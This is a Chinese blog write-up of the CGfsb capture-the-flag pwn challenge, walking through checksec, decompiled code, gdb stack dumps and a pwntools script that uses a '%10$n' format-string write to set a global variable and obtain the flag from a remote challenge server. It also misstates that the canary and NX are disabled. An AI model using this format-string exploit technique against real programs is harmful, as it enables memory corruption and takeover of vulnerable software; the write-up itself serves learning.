CGCTF pwn CGfsb writeup

原创

tuck3r 于 2019-08-23 10:00:54 发布 408 收藏
分类专栏： CTF gdb pwn 文章标签： pwn ctf gdb

CTF 同时被 3 个专栏收录
13 篇文章 1 订阅
订阅专栏
gdb
2 篇文章 0 订阅
订阅专栏
pwn
12 篇文章 0 订阅
订阅专栏

一、实验目的：

破解我的第一个pwn，获取flag（虽然也参考了别人*^*O*^*）

二、实验环境：

Ubuntu 18.04 / gdb-peda / pwntools

Windows7 IDA pro

三、实验内容：

1、题目到手，我们拿到了一个网址和ELF文件，首先我们对ELF文件进行分析：

```
tucker@ubuntu:~/pwn_files$ checksec d8a286904057473e83da8b852a7d0bae
[*] '/home/tucker/pwn_files/d8a286904057473e83da8b852a7d0bae'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
tucker@ubuntu:~/pwn_files$ file d8a286904057473e83da8b852a7d0bae
d8a286904057473e83da8b852a7d0bae: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24,
BuildID[sha1]=113a10b953bc39c6e182c4ce6e05582ba2f8017a, not stripped
```

这是一个ELF的32bit文件，并且关闭了canary，NX，和PIE，使用动态链接库。

2、我们运行一下大致看一下程序的运行结果，然后将其放到IDA Pro：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}
```

从中我们可以看到很明显的一个格式化字符串溢出漏洞，printf(&s)；并且程序判断pwnme（全局变量，其地址不会改变）的值为8时，会执行我们感兴趣的函数system("cat flag")，因此我们可以考虑构造合适的s，和%n使得能够修改全局变量pwnme的值为8。

3、在gdb中我们对其进行调试，发现在输入s的值之后，s的值仍然会存在于栈中（并且出现两次）。在gdb中加载程序：

```
tucker@ubuntu:~/pwn_files$ gdb -q
gdb-peda$ file d8a286904057473e83da8b852a7d0bae
Reading symbols from d8a286904057473e83da8b852a7d0bae...(no debugging symbols found)...done.
gdb-peda$ start
```

接下来我们进行一步步调试，使用%x打印出地址，定位溢出点：

（我们使用的溢出格式化字符串为：aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

```
[----------------------------------registers-----------------------------------]
EAX: 0xffffd128 ("aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
EBX: 0xffffd128 ("aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
```

```
EBX: 0xffffd128 ("aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
ECX: 0xf7fb6dc7 --> 0xfb78900a
EDX: 0xf7fb7890 --> 0x0
ESI: 0xf7fb6000 --> 0x1d7d6c
EDI: 0xffffd18c --> 0xf6727100
EBP: 0xffffd1a8 --> 0x0
ESP: 0xffffd100 --> 0xffffd128 ("aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
EIP: 0x80486cd (<main+256>: call   0x8048460 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486c1 <main+244>: call   0x8048490 <puts@plt>
   0x80486c6 <main+249>: lea    eax,[esp+0x28]
   0x80486ca <main+253>: mov    DWORD PTR [esp],eax
=> 0x80486cd <main+256>: call   0x8048460 <printf@plt>
   0x80486d2 <main+261>: mov    eax,ds:0x804a068
   0x80486d7 <main+266>: cmp    eax,0x8
   0x80486da <main+269>: jne    0x80486f6 <main+297>
   0x80486dc <main+271>: mov    DWORD PTR [esp],0x8048810
Guessed arguments:
arg[0]: 0xffffd128 ("aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd100 --> 0xffffd128 ("aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
0004| 0xffffd104 --> 0xffffd11e ("sss\n")
0008| 0xffffd108 --> 0xf7fb65c0 --> 0xfbad208b
0012| 0xffffd10c --> 0xffffd16c --> 0x0
0016| 0xffffd110 --> 0xf7ffda9c --> 0xf7fd03e0 --> 0xf7ffd940 --> 0x0
0020| 0xffffd114 --> 0x1
0024| 0xffffd118 --> 0xf7fd0410 --> 0x804834b ("GLIBC_2.0")
0028| 0xffffd11c --> 0x73730001
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486cd in main ()
gdb-peda$ context_stack 20
[------------------------------------stack-------------------------------------]
0000| 0xffffd100 --> 0xffffd128 ("aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
0004| 0xffffd104 --> 0xffffd11e ("sss\n")
0008| 0xffffd108 --> 0xf7fb65c0 --> 0xfbad208b
0012| 0xffffd10c --> 0xffffd16c --> 0x0
0016| 0xffffd110 --> 0xf7ffda9c --> 0xf7fd03e0 --> 0xf7ffd940 --> 0x0
0020| 0xffffd114 --> 0x1
0024| 0xffffd118 --> 0xf7fd0410 --> 0x804834b ("GLIBC_2.0")
0028| 0xffffd11c --> 0x73730001
0032| 0xffffd120 --> 0xa73 ('s\n')
0036| 0xffffd124 --> 0x0
0040| 0xffffd128 ("aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
0044| 0xffffd12c (".%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
0048| 0xffffd130 ("%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
0052| 0xffffd134 ("x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
0056| 0xffffd138 (".%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
0060| 0xffffd13c ("%x.%x.%x.%x.%x.%x.%x.%x.%x\n")
0064| 0xffffd140 ("x.%x.%x.%x.%x.%x.%x.%x\n")
0068| 0xffffd144 (".%x.%x.%x.%x.%x.%x\n")
0072| 0xffffd148 ("%x.%x.%x.%x.%x\n")
0076| 0xffffd14c ("x.%x.%x.%x\n")
gdb-peda$ ni
aaaa.ffffd11e.f7fb65c0.ffffd16c.f7ffda9c.1.f7fd0410.73730001.a73.0.61616161.2e78252e.252e7825.78252e78.2e78
```

从中我们可以看到第10个地址是我们可以控制的位置，因此我们可以控制aaaa为pwnme变量的地址，并将打印的字符的个数输出到这个地址。

4、编写Python脚本如下：

```
from pwn import *

# a = process("./d8a286904057473e83da8b852a7d0bae")
a = remote("111.198.29.45", "46613")

a.recvuntil("please tell me your name:")

a.send("sss")

a.recvuntil("leave your message please:")

addr = p32(0x804a068)
a.send(addr + "aaaa%10$n")
a.interactive()
```

(说明：有关pwntools脚本的相关资料，可参见我以前的blog）

运行之后：

```
tucker@ubuntu:~/pwn_files$ python CGfsb.py
[+] Starting local process './d8a286904057473e83da8b852a7d0bae': pid 8569
[+] Opening connection to 111.198.29.45 on port 46613: Done
[*] Switching to interactive mode

$ ls
hello sssyour message is:
h\xa0\x0aaaals
you pwned me, here is your flag:

cyberpeace{7f8ebb8999119f622e933461897e3fc2}
[*] Got EOF while reading in interactive
$
```

可以看到我们成功得到了远程的shell，并得到了flag